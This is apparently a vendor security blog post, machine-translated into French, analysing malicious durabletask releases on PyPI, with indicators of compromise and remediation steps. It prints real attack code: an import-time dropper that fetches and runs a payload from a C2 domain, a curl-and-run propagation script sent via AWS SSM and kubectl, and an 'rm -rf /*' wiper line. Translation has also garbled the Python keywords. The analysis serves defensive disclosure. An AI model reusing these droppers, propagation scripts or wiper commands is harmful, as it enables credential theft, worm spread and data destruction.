Aikido

Le paquet durabletask de Microsoft sur PyPi a été piraté. Mini Shai Hulud frappe à nouveau… encore une fois !

Écrit par
Raphael Silva

Nous avons identifié trois versions malveillantes de tâche récurrente sur PyPI, 1.4.1, 1.4.2, et 1.4.3, qui contiennent un dropper injecté directement dans les fichiers source Python du paquet. Lorsqu'un développeur installe l'une de ces versions et importe la bibliothèque, le dropper récupère et exécute en toute discrétion une charge utile de deuxième phase à partir d'un domaine C2 créé il y a trois jours.

Cette deuxième phase consiste en un programme de vol d'informations et un ver complet. Il récupère les identifiants de tous cloud principaux cloud , gestionnaires de mots de passe et outils de développement qu'il parvient à trouver, crypte les données obtenues à l'aide d'une RSA contrôlée par le pirate, puis les transmet au serveur de commande et de contrôle (C2). Si la machine fonctionne sur AWS, il se propage vers d'autres instances EC2 via SSM. S'il se trouve dans Kubernetes, il se propage via kubectl exec. Et s'il détecte des paramètres système israéliens ou iraniens, il y a une chance sur six qu'il diffuse un message audio puis exécute rm -rf /*.

Cela ressemble bien à une nouvelle manigance de la part de TeamPCP, mais nous ne pouvons pas en être sûrs pour l'instant.

Ce qui s'est passé

tâche récurrente Il s'agit d'un module Python destiné au Durable Task Framework, une bibliothèque d'orchestration de flux de travail associée à Microsoft Azure. C'est le genre de module que l'on s'attend à trouver dans des environnements Python cloud exécutant des tâches d'automatisation, de CI/CD ou des charges de travail connectées à Azure, ce qui correspond exactement au type d'environnement que cette campagne vise à cibler.

À partir de la version 1.4.1, le contenu du paquet __init__.py a été infecté par un dropper qui s'active au moment de l'importation :

import os
import plateforme
import sous-processus
import urllib.request


si platform.system() == "Linux":
    essayer:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        avec open(os.devnull, "w") comme f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception :
        pass

Le dropper est réservé à Linux, fonctionne de manière totalement silencieuse et s'exécute dans un processus détaché qui survit à la fermeture du processus parent. Le large sauf : passer ignore les erreurs. Un développeur qui exécute importer durabletask ne verrait absolument rien la première fois.

Les versions racontent une histoire

Les trois versions utilisent le même code de dropper, mais chacune d'entre elles l'a injecté dans un plus grand nombre de fichiers. Il s'agit d'une stratégie délibérée visant à maximiser les chances qu'au moins un chemin d'importation déclenche la charge utile.

Version Fichiers infectés
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

Par version 1.4.3, le dropper se propage à partir de cinq points d'entrée distincts. Un développeur qui ne s'occupe que import from durabletask.entities ... reste compromise. Le domaine C2, l'URL de la charge utile et la logique du dropper sont identiques à l'octet près dans les trois versions ; la seule différence réside dans la portée.

La charge utile : rope.pyz

Le compte-gouttes va chercher rope.pyz depuis hxxps://check.git-service[.]com/rope.pyz. Le nom de domaine a été enregistré le 16 mai 2026, trois jours avant la présente analyse. Il est hébergé par NameSilo et bénéficie d'une protection de la confidentialité.

rope.pyz est une application zipapp Python : une archive ZIP contenant un __main__.py point d'entrée que Python peut exécuter directement. Il contient 19 fichiers répartis selon une structure de modules.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Avant toute chose, __main__.py effectue quatre vérifications :

  1. Plateforme — se ferme si ce n'est pas Linux.
  2. Paramètres régionaux — se termine si $LANG commence par ru. La charge utile ne fonctionnera pas sur les systèmes configurés pour la langue russe.
  3. Nombre de processeurs — se termine si os.cpu_count() <= 2. Cela met hors jeu la plupart des environnements de test automatisés.
  4. Dépendances — s'installe en mode silencieux cryptography via pip s'il n'existe pas, avec un --désactiver-les-paquets-système solution de secours.

Ce n'est qu'après avoir traité ces quatre éléments que le contrôle est transféré au module d'orchestration principal.

La boîte de dépôt FIRESCALE

La charge utile commence par se connecter à hxxps://check.git-service[.]com/v1/models. Si ce point de terminaison renvoie HTTP 200, le corps de la réponse est traité comme un script Python encodé en Base64 et transmis à roulette.py pour l'exécution — il s'agit du canal d'activation à distance utilisé par le pirate.

Si le serveur C2 principal est inaccessible, la charge utile bascule vers un point de dépôt secret hébergé sur GitHub :

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Il recherche la chaîne de caractères dans l'API de recherche de commits de GitHub FIRESCALE. Chaque commit correspondant est vérifié pour voir s'il correspond au modèle :

FIRESCALE <base64_url>.<base64_signatue>

L'URL encodée en base64 n'est acceptée que si sa signature RSA est validée par rapport à une clé publique de 4096 bits intégrée en dur. Cela signifie que seul l'attaquant — détenteur de la clé privée correspondante — peut publier une nouvelle adresse C2 valide. L'API de recherche GitHub devient un canal de secours résistant à la censure et authentifié par cryptographie. Si le domaine C2 principal est saisi ou redirigé vers un sinkhole, l'attaquant peut reprendre ses opérations en effectuant un simple commit public n'importe où sur GitHub.

Ce qu'il dérobe

La collecte s'effectue simultanément sur huit modules via ThreadPoolExecutor.

Gestionnaires de mots de passe. La charge utile vise 1Password, Bitwarden, passer, et gopass. Pour chaque coffre-fort verrouillé, il tente de le déverrouiller en analysant les variables d'environnement à la recherche de motifs tels que *PASS*, *SECRET*, et BW_*, en analysant les fichiers d'historique du shell pour Déverrouillage BW et Connexion les appels de fonction, puis en testant la chaîne de caractères « anonyme » en dernier recours. S'il s'infiltre, il efface tout.

Fichiers de certificats. Plus de 90 chemins d'accès aux fichiers codés en dur sont lus. La liste est exhaustive : identifiants AWS, identifiants par défaut des applications GCP, jetons d'accès Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (chaque fichier), ~/.docker/config.json, ~/.pypirc, ~\/.npmrc, .env les fichiers présents dans l'ensemble du répertoire personnel, les fichiers d'état Terraform (qui contiennent souvent des secrets en clair) et les configurations VPN, y compris les fichiers d'état Tailscale et WireGuard .conf fichiers.

Cette liste vise également tout particulièrement les outils de développement en IA : ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, ainsi que les fichiers de configuration pour Zed, Continue, Kilo et OpenCode.

Docker. La charge utile interroge le socket Docker socket /var/run/docker.sock directement, en répertoriant tous les conteneurs et en extrayant leurs variables d'environnement. La transmission Cloud sous forme de variables d'environnement de conteneur est une pratique courante dans les configurations CI/CD basées sur Docker.

AWS. Les informations d'identification sont déterminées à partir des variables d'environnement, puis du service de métadonnées des instances EC2 (IMDS), puis de tous les profils nommés dans ~/.aws/credentials. Pour chaque jeu d'identifiants, la charge utile répertorie simultanément AWS Secrets Manager et SSM Parameter Store dans l'ensemble des 19 régions AWS, y compris GovCloud. Elle récupère chaque valeur secrète, avec Avec décryptage : True pour SSM. Elle répertorie également toutes les instances EC2 gérées par SSM en vue de l'étape de propagation décrite ci-dessous.

Azure. La charge utile résout les jetons à l'aide des informations d'identification du client, d'une assertion JWT basée sur un certificat ou du cache de jetons de l'interface CLI Azure à l'adresse ~/.azure/accessTokens.json, ou Azure IMDS (identité gérée). À l'aide d'un jeton valide, il répertorie tous les abonnements, tous les Key Vaults de chaque abonnement et récupère tous les secrets de chaque Key Vault.

GCP. Les informations d'identification sont résolues à partir de $GOOGLE_APPLICATION_CREDENTIALS, le fichier d'identifiants par défaut de l'application ou GCP IMDS. La charge utile génère elle-même des jetons JWT OAuth2 et récupère tous les secrets depuis GCP Secret Manager.

Kubernetes. L'accès est déterminé à partir de ~/.kube/config dans tous les contextes, à partir de jetons de compte de service au sein du cluster, ou via kubectl. Si kubectl n'est pas installé, la charge utile le télécharge depuis le CDN officiel des versions de Kubernetes vers /tmp/kubectl. Chaque secret de chaque espace de noms, dans tous les contextes, est récupéré et décodé en Base64.

HashiCorp Vault. La charge utile résout le jeton Vault à partir de $VAULT_TOKEN, ~/.vault-token, les identifiants de l'AppRole, ou jeton d'impression de coffre-fort. Il parcourt ensuite de manière récursive tous les montages KV v1 et v2, en récupérant chaque chemin d'accès aux secrets. La vérification SSL est désactivée afin de prendre en charge les déploiements internes de Vault auto-signés.

Toutes les données collectées sont compressées au format gzip et chiffrées à l'aide de l'algorithme AES-256-GCM. La clé AES propre à chaque session est encapsulée à l'aide de RSA, en utilisant la clé publique de l'opérateur intégrée en dur. Seul un attaquant est en mesure de la déchiffrer.

L'exfiltration suit un plan de secours en trois étapes :

  1. PUBLIER sur hxxps://check.git-service[.]com/api/public/version
  2. Envoyer vers une URL de serveur central déterminée via le canal de transmission sécurisé FIRESCALE
  3. Si un jeton GitHub volé est détecté dans les données collectées, créez un fichier dont le nom est généré aléatoirement public Répertoire GitHub et téléchargez le fichier compressé chiffré sous le nom de results.json

Les noms des dépôts de secours GitHub sont tirés d'une liste de mots issus du folklore russe : BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, entre autres. Ce nom n'est pas le fruit du hasard : il s'agit d'une signature unique de l'opérateur.

Propagation des vers

Une fois les données confidentielles collectées, la charge utile se propage.

AWS SSM. Une fois les instances EC2 répertoriées lors de la collecte des identifiants, la charge utile envoie un ssm:EnvoyerCommande (en utilisant le Exécuter un script Shell sur AWS document) vers un maximum de cinq instances en ligne non Windows :

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Un fichier de repères situé à l'adresse ~/.cache/.sys-update-check empêche une réinfection provenant du même hôte. L'URL de la charge utile secondaire hxxps://t.m-kosche[.]com/rope.pyz sert de solution de secours en cas de panne du serveur C2 principal.

Kubernetes. Si l'application s'exécute au sein d'un cluster K8s, la charge utile kubectl execApplique le même script « télécharger et exécuter » à un maximum de cinq pods en cours d'exécution, en ignorant celui qui est actuellement actif. Un marqueur distinct à ~/.cache/.sys-update-check-k8s suit de manière indépendante la propagation des ondes K8.

L'essuie-disque

Lorsque le C2 principal revient HTTP 200 depuis /v1/modèles, la réponse déclenche roulette.py. Ce module offre deux fonctionnalités : la mise en place d'un système de persistance et l'effacement des disques.

La persévérance. La réponse C2 décodée en base64 est enregistrée dans /usr/bin/pgmonitor.py (en tant qu'administrateur) ou ~/.local/bin/pgmonitor.py (sans droits d'administrateur) et enregistré en tant que service systemd nommé pgsql-monitor.service, décrit comme un « moniteur PostgreSQL ». Le service redémarre automatiquement en cas de panne.

Essuie-glace. Le module vérifie si les paramètres système sont configurés pour Israël ou l'Iran en analysant $TZ pour des chaînes de caractères telles que Jérusalem, Tel Aviv, et Téhéran; lecture /etc/timezone et /etc/localtime contenu binaire ; et vérification $LANG, $LC_ALL, et $LC_MESSAGES contre he_IL ou fa_IR. Avec une probabilité d'un sur six, le résultat est le suivant :

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Il télécharge un fichier audio depuis hxxps://check.git-service[.]com/audio.mp3, règle le volume du système à 100 % via pactl, et le lit via monospace, puis efface le disque. Le fichier audio est diffusé avant l'effacement, conformément à la conception du programme. Il ne s'agit pas d'un processus automatisé en arrière-plan ; l'attaquant l'active délibérément pour chaque victime en renvoyant 200 OK depuis l'enregistrement au C2.

Détection et atténuation

Si vous avez installé tâche récurrente 1.4.1, 1.4.2 ou 1.4.3, considérez que l'hôte est compromis. La charge utile s'est exécutée dès l'importation du paquet.

Vérifiez d'abord si le fichier de marqueurs est présent :

~/.cache/.sys-update-check

Sa présence confirme que le programme malveillant s'est exécuté sur cet hôte. Vérifier ~/.cache/.sys-update-check-k8s séparément pour la propagation vers Kubernetes.

Recherchez le service de persistance :

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Bloquer et faire pivoter :

  • Toutes cloud présentes sur l'hôte concerné (AWS, Azure, GCP)
  • Toutes les clés SSH situées sous ~/.ssh/
  • Tous les jetons des comptes de service Kubernetes
  • Tout jeton HashiCorp Vault
  • Les jetons GitHub et les PAT — et rechercher les nouveaux dépôts publics portant des noms inspirés du folklore russe créés à partir de ces jetons
  • npm, pip, ainsi que les jetons du registre des paquets
  • Tout ce qui se trouve dans ~/.docker/config.json
  • Toutes les variables d'environnement confidentielles qui ont été définies sur la machine
  • Contenu de tout .env fichiers du répertoire personnel
  • Tous les fichiers d'état Terraform présents sur l'hôte

Si l'hôte fonctionnait sur AWS avec des instances gérées par SSM au sein du même compte, consultez AWS CloudTrail pour Envoyer la commande surveillez l'activité provenant de l'instance compromise et examinez toutes les instances avec lesquelles elle a été en contact. Procédez de la même manière pour Kubernetes : vérifiez les journaux d'audit pour exec les commandes provenant du pod infecté.

Blocage au niveau de la couche réseau :

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicateurs de compromission

Packages malveillants :

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hachages :

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domaines et URL :

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Enregistrement de nom de domaine :

  • git-service.com — enregistré le 16 mai 2026 (3 jours avant l'analyse), NameSilo, confidentialité préservée

Fichiers créés sur l'ordinateur de la victime :

  • /tmp/managed.pyz — largage initial de la charge utile
  • ~/.cache/.sys-update-check — marqueur de propagation (artefact de détection de clé)
  • ~/.cache/.sys-update-check-k8s — Indicateur de propagation Kubernetes
  • /usr/bin/pgmonitor.py ou ~/.local/bin/pgmonitor.py — charge utile de persistance
  • /etc/systemd/system/pgsql-monitor.service ou ~/.config/systemd/user/pgsql-monitor.service — service de persistance
  • /tmp/kubectl — Téléchargement du binaire kubectl s'il n'est pas présent sur l'hôte

Chaînes de campagne :

  • FIRESCALE — Chaîne de balises « dead-drop » dans la recherche de commits sur GitHub
  • pgsql-monitor.service — nom du service de persistance
  • Moniteur PostgreSQL — description du service de persistance utilisée comme couverture
  • Noms de personnages du folklore russe : BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, entre autres

Comment Aikido détecte cela

Si vous Aikido , consultez votre flux central et filtrez les alertes relatives aux logiciels malveillants. Cela apparaîtra comme un problème critique. Aikido chaque nuit, mais nous vous recommandons de lancer une analyse manuelle dès maintenant.

Si vous n'êtes pas encore Aikido , vous pouvez créer un compte et connecter vos dépôts. La protection contre les logiciels malveillants est incluse dans la formule gratuite.

Pour assurer une protection future, Aikido Chain (open source) intercepte les commandes d'installation de paquets et les vérifie auprès Aikido avant toute exécution.

Partager :

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

S'abonner aux actualités

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.